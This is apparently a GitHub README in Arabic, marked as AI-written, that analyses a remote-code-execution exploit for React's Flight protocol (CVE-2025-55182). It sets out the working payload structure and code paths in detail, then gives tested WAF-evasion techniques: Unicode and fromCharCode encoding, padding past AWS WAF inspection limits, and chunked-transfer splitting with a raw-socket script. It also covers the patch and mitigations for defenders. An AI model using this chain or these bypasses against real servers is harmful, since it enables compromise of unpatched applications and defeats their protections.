
تحليل تقني مفصل وإثبات مفهوم لاستغلال CVE-2025-55182، وهي ثغرة RCE حرجة في بروتوكول Flight الخاص بـ React. يغطي تجاوز المسار، وحقن الأجزاء المزيفة، وتقنيات تجاوز جدار الحماية.
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في بروتوكول Flight الخاص بـ React. يعتمد الهجوم على تجاوز المسار + حقن الشريحة المزيفة + إساءة استخدام معالج $B لتنفيذ Function(attacker_code).
شكر كبير لـ maple3142 على سلسلة الاستغلال العاملة!
يستخدم الاستغلال ثلاثة حقول نموذج لبناء حمولة خبيثة:
then مرجعي ذاتي (الحقل 1 → الحقل 0)$@0_response مزيف مع ضبط _formData.get إلى $1:constructor:constructor$B الذي يستدعي response._formData.get(response._prefix + id)_formData.get إلى Function، وينفذ Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### المكوّنات الرئيسية
| المكوّن | الغرض |
|-----------|---------|
| `then: "$1:__proto__:then"` | كائن thenable ذاتي الإشارة؛ الجزء 1 (`$@0`) يشير إلى الجزء 0 |
| `status: "resolved_model"` | يجعل الكائن يظهر كجزء React صالح |
| `reason: -1` | يضبط rootReference إلى undefined (يتجنب تعارضات المراجع) |
| `value: '{"then":"$B1337"}'` | حمولة متداخلة تشغّل معالج `$B` |
| `_response._prefix` | تحتوي على سلسلة كود RCE |
| `_response._chunks: "$Q2"` | خريطة Map فارغة لمنع الانهيارات أثناء معالجة الأجزاء |
| `_response._formData.get` | يشير إلى `Function` عبر `$1:constructor:constructor` |
### غوص عميق في المكوّنات
#### بنية حقول النموذج
يستخدم الاستغلال ثلاثة حقول نموذج بمراجع دائرية:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)تؤدي then: "$1:__proto__:then" إلى إنشاء مرجع ذاتي يتحل إلى دالة حقيقية:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**لماذا هذا أمر بالغ الأهمية:**
1. `then` يتحلّل إلى `Chunk.prototype.then` - وهي دالة حقيقية قابلة للاستدعاء
2. هذا يجعل الكائن المزيّف "thenable" صالحًا
3. عند استخدام `await`، تستدعي JavaScript الدالة `obj.then(resolve, reject)`
4. يتم تنفيذ `Chunk.prototype.then` مع الكائن المزيّف كقيمة `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) قيمة this._response - وهو _response المزيف الخاص بالمهاجم:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**بدون المرجع الذاتي**، لن يتم استخدام `_response` المزوّر أبدًا. المرجع الذاتي يجعل `Chunk.prototype.then` يعامل كائن المهاجم باعتباره Chunk حقيقي.
#### مشغّل Thenable ذو مرحلتين (`value`)
يحتوي حقل `value` على سلسلة JSON متداخلة مع Thenable آخر:```json
{"then":"$B1337"}
المرحلة 1: then ذاتي الإشارة للكائن الخارجي يُشغّل معالجة الأجزاء
المرحلة 2: عندما يحلّ React النموذج، يحلل value ويصادف thenable آخر يحتوي على then: "$B1337". بادئة $B تُشغّل المعالج:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` هي `"$1:constructor:constructor"` → `getOutlinedModel()` تتحل إلى `Function`.
يصبح هذا: `Function(code + "1337")` → كود JS صالح لأن `1337` مجرد تعبير لاحق.
#### الحشو الدفاعي (`_chunks`)
يحتاج `_response` المزيّف إلى خاصية `_chunks` صالحة لمنع الأعطال:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
قد يصل الكود الداخلي لـ React إلى response._chunks.get() أو response._chunks.has() أثناء المعالجة. تلبّي الخريطة الفارغة هذه الاستدعاءات دون أخطاء، مما يسمح بالوصول إلى المعالج الضعيف $B.
| المسار | الوظيفة | الغرض في الاستغلال |
|---|---|---|
| تجاوز المسار | getOutlinedModel() | يحوّل $1:constructor:constructor إلى Function |
حقن _response مزيف | initializeModelChunk() | يستخدم chunk._response الخاص بالمهاجم |
معالج $B | parseModelString() | يستدعي _formData.get(_prefix + id) → RCE |
decodeReply() هي نقطة الدخول، وهي ليست ضعيفة بحد ذاتها.
تجاوز المسار (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**استخدام الاستجابة المزيفة** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B معالج RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## الإصلاح (19.2.1)
يتضمن التصحيح عدة إصلاحات:
1. **`RESPONSE_SYMBOL` في `initializeModelChunk()`** - إصلاح حاسم ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty في getOutlinedModel() - يمنع اجتياز النموذج الأولي ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ في reviveModel() - يمنع تلوث النموذج الأولي ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() - يتحقق من صحة المستمعين ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| القدرة | الحالة | ملاحظات |
|---|---|---|
| اجتياز سلسلة النماذج الأولية | ✓ مؤكد | عبر $1:constructor:constructor |
| الوصول إلى مُنشئ Function | ✓ مؤكد | لا حاجة إلى manifest |
| RCE كامل | ✓ مؤكد | عبر fake chunk + معالج $B |
يشرح هذا القسم لماذا لا يمكن لقواعد WAF التقليدية القائمة على مطابقة الأنماط اكتشاف هذا الاستغلال بشكل موثوق. فهم هذه القيود ضروري لفرق الأمن عند تقييم وضعهم الدفاعي.
تمر حمولة الاستغلال عبر عدة محللات، ولكل منها دعم مختلف للترميز. يرى WAF الذي يفحص بايتات HTTP الخام سلاسل مشفرة، لكن الخادم يفك ترميزها قبل المعالجة:
| الطبقة | المحلل | يفك ترميز |
|---|---|---|
| بنية JSON | JSON.parse() | هروب Unicode \uXXXX |
| كود JavaScript | مُنشئ Function() | \uXXXX, \xXX, ثماني, fromCharCode() |
يخلق هذا تباينًا جوهريًا: يرى WAF بايتات مشفرة، بينما يرى التطبيق سلاسل مفكوكة الترميز.
قد يبحث WAF ساذج عن أنماط مثل constructor, __proto__, resolved_model أو child_process. ومع ذلك، يسمح JSON بهروب Unicode لأي حرف:
| النمط الحرفي | المكافئ بصيغة Unicode | كشف WAF |
|---|---|---|
constructor | \u0063onstructor | تم تجاوزه |
__proto__ | \u005f\u005fproto\u005f\u005f | تم تجاوزه |
resolved_model | \u0072esolved_model | تم تجاوزه |
$@ (مرجع دائري) | $\u0040 | تم تجاوزه |
يوفر كود JavaScript داخل الحمولة المزيد من خيارات الترميز:
| النمط | خيارات الترميز |
|---|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, رموز حروف رقمية, base64 |
| أي معرّف | تدوين الأقواس: this[S(112,114,...)] حيث S=String.fromCharCode |
عند الجمع بين جميع تقنيات الترميز:
\u0074\u0068\u0065\u006e لـ then)S(99,104,105,108,100,95,...) لـ child_process)يرى WAF الذي يفحص جسم HTTP تسلسلات هروب وأرقامًا فقط - لا شيء يطابق تواقيع الهجوم التقليدية.
تحدد ترويسة Next-Action طلبات Server Action. بينما لا يمكن ترميز أسماء الترويسات بصيغة Unicode (يتطلب RFC 7230 رموز ASCII)، فإن الاختلافات في التطبيع بين WAF والخادم تُنشئ فجوات اكتشاف:
| المتغير | سلوك الخادم | خطر WAF |
|---|---|---|
next-action (أحرف صغيرة) | مقبول (HTTP غير حساس لحالة الأحرف) | يُفوَّت إذا كان WAF يتوقع حالة محددة |
Next-Action:\tx (علامة تبويب) | مقبول (يتم تطبيع المسافات البيضاء) | يُفوَّت إذا كان WAF يتوقع مسافة |
Next-Action: x (مسافات) | مقبول | يُفوَّت بدون تطبيع |
التحديث هو التخفيف الوحيد الموثوق. لا يمكن لقواعد WAF حظر هذا الهجوم بشكل شامل بسبب مرونة الترميز.
الإصدارات المطلوبة:
إذا تأخر التحديث، فضع في الاعتبار:
\uXXXX, \xXX, وتطبيع استدعاءات fromCharCode() قبل مطابقة الأنماط_response, _prefix, _chunks, أو مراجع دائرية ($@0)next-action بدون حساسية لحالة الأحرف مع إزالة المسافات البيضاءNext-Action بالكاملFunction() بوسائط نصية ديناميكيةالخلاصة الرئيسية: مطابقة الأنماط وحدها ستفشل ضد هذا النوع من الهجمات. سطح الترميز كبير جدًا لدرجة يتعذر معها حصره.
حتى مع وجود قواعد WAF شاملة، يفرض AWS WAF حدودًا لحجم فحص الجسم يمكن استغلالها. يوثق هذا القسم تقنيات تجاوز تم اختبارها باستخدام حمولات ضخمة.
يفحص AWS WAF جزءًا فقط من جسم الطلب:
| الواجهة الخلفية | الحد الافتراضي | الحد الأقصى القابل للتهيئة |
|---|---|---|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
OversizeHandlingتحدد قواعد WAF كيفية معالجة الطلبات التي تتجاوز حدود الفحص:
| الإعداد | السلوك | قابل للاستغلال؟ |
|---|---|---|
CONTINUE | فحص البايتات المتاحة وتقييم القاعدة | نعم - لا يتم فحص الحمولة بعد الحد |
MATCH | معاملته كمطابق (حظر) | لا - يحظر الطلبات الضخمة |
NO_MATCH | معاملته كغير مطابق | نعم - يمر عبر |
إذا كانت قاعدة WAF لديك تستخدم OversizeHandling: CONTINUE (الافتراضي الشائع)، فإن التجاوز يكون تافهًا.
ضع بيانات حشو غير ضارة قبل حمولة الاستغلال بحيث تقع خارج نافذة الفحص:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### نتائج الاختبار
| حجم الحشو | إجمالي الجسم | إزاحة الاستغلال | النتيجة |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
### تجاوز ترميز النقل المُجزأ
يقوم ترميز النقل المُجزأ في HTTP/1.1 بتقسيم الجسم إلى أجزاء منفصلة. إذا كان جدار الحماية (WAF) يفحص الأجزاء **قبل** إعادة التجميع، فإن الأنماط التي تمتد عبر حدود الأجزاء لن تتطابق.
#### كيف يعمل```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
النمط موزّع عبر الأجزاء:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### استراتيجيات التقسيم المختبرة
| الاستراتيجية | الوصف | النتيجة |
|----------|-------------|--------|
| القطع عند `$@` | `"$` \| `@0"` | ✅ RCE |
| أجزاء بحجم 10 بايت | تقسيم المحتوى كل 10 بايت | ✅ RCE |
| أجزاء بحجم 5 بايت | تقسيم المحتوى كل 5 بايت | ✅ RCE |
| القطع عند `status` | `sta` \| `tus` | ✅ RCE |
نجحت جميع الاستراتيجيات في تحقيق RCE - يعيد Next.js تجميع الطلبات المجزأة بشكل صحيح.
#### مثال على Raw Socket```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
| نوع WAF | معالجة الأجزاء | هل يمكن الالتفاف؟ |
|---|---|---|
| AWS WAF (ALB) | يعيد التجميع قبل الفحص | غير محتمل |
| AWS WAF (CloudFront) | يعيد التجميع قبل الفحص | غير محتمل |
| بعض جدران الحماية القديمة | يفحص كل جزء على حدة | نعم |
| Nginx ModSecurity | قابل للتكوين | يعتمد على الإعدادات |
ملاحظة: عادةً ما يعيد AWS WAF تجميع الأجسام المجزأة قبل الفحص. ومع ذلك، يجب التحقق من ذلك في كل بيئة لأن الإعدادات تختلف.
OversizeHandling إلى MATCH ```json
"OversizeHandling": "MATCH"
يعمل هذا على حظر أي طلب يتجاوز حد الفحص عند تحقق شروط القاعدة.
زيادة حد فحص النص (CloudFront/API Gateway فقط) قم بتعيين حد يصل إلى 64KB في إعدادات web ACL، لكن هذا لا يمنع الالتفاف بشكل كامل.
إضافة قاعدة حظر مبنية على الحجم
احظر طلبات POST التي يتجاوز ترويسة Next-Action فيها حجمًا معقولًا (مثل 10KB).
تصحيح التطبيق - الحل الكامل الوحيد.
راجع نصوص الاختبار المرفقة:
test-simple.cjs - اختبار أساسي للحمولة غير المجزأةtest-oversize.cjs - يختبر أحجام الحشو من 0 إلى 128KBtest-chunked-v2.cjs - ترميز النقل المجزأ مع تقسيم $@test-chunked-bypass.cjs - استراتيجيات تجزئة متعددة (5 بايت، 10 بايت، تقسيمات الأنماط)الاستخدام:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## رحلة البحث
### الثغرة: اجتياز المسار```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
عند استخدام الحمولة "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]بينما حصلنا على Function، فإن تحقيق RCE يتطلب استدعاءها بوسائط متحكم بها. هذه المسارات فشلت:
1. مسار Thenable (محظور)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. مسار decodeAction (محظور)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. مسار المُكرِّر (محظور)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### الاختراق
وجد maple3142 القطعة المفقودة: معالج `$B` + سلسلة `_response` المزيفة. بجعل `then` يُحل إلى `Chunk.prototype.then` عبر الإسناد الذاتي، يتم استخدام `_response` المزيفة، مما يتيح تنفيذ التعليمات البرمجية عن بُعد (RCE).
---
## النتائج الرئيسية
1. **ثغرة `getOutlinedModel()` حقيقية** - المسارات المفصولة بنقطتين تسمح بعبور سلسلة النموذج الأولي (prototype chain)
2. **منشئ الدالة (Function constructor) قابل للوصول** - `$1:constructor:constructor` يعمل بدون serverManifest
3. **تنفيذ التعليمات البرمجية عن بُعد (RCE) قابل للتحقيق** - من خلال صياغة جزء (chunk) مزيف مع `_response` خاضعة للتحكم:
- الإسناد الذاتي `$1:__proto__:then` → `Chunk.prototype.then` يجعل `_response` المزيفة تُستخدم
- بنية الجزء المزيف تحاكي فئة Chunk الداخلية في React
- `_response._formData.get` → منشئ `Function`
- `_response._prefix` → سلسلة تعليمات برمجية خبيثة
- معالج `$B` يفعّل `Function(malicious_code)`
4. **الإصلاح شامل** - فحوصات متعددة لـ `hasOwnProperty` والتحقق من الأنواع
---
## المراجع
- [ملف maple3142 على Gist](https://gist.github.com/maple3142) - اكتشاف سلسلة RCE
- [استشارة أمان React](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [إثبات المفهوم من msanft](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [قاعدة AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## إخلاء المسؤولية
هذا المستودع **لأغراض البحث الأمني التعليمي والدفاعي فقط**. تم إصلاح الثغرة. قم بترقية اعتمادياتك (dependencies) فورًا.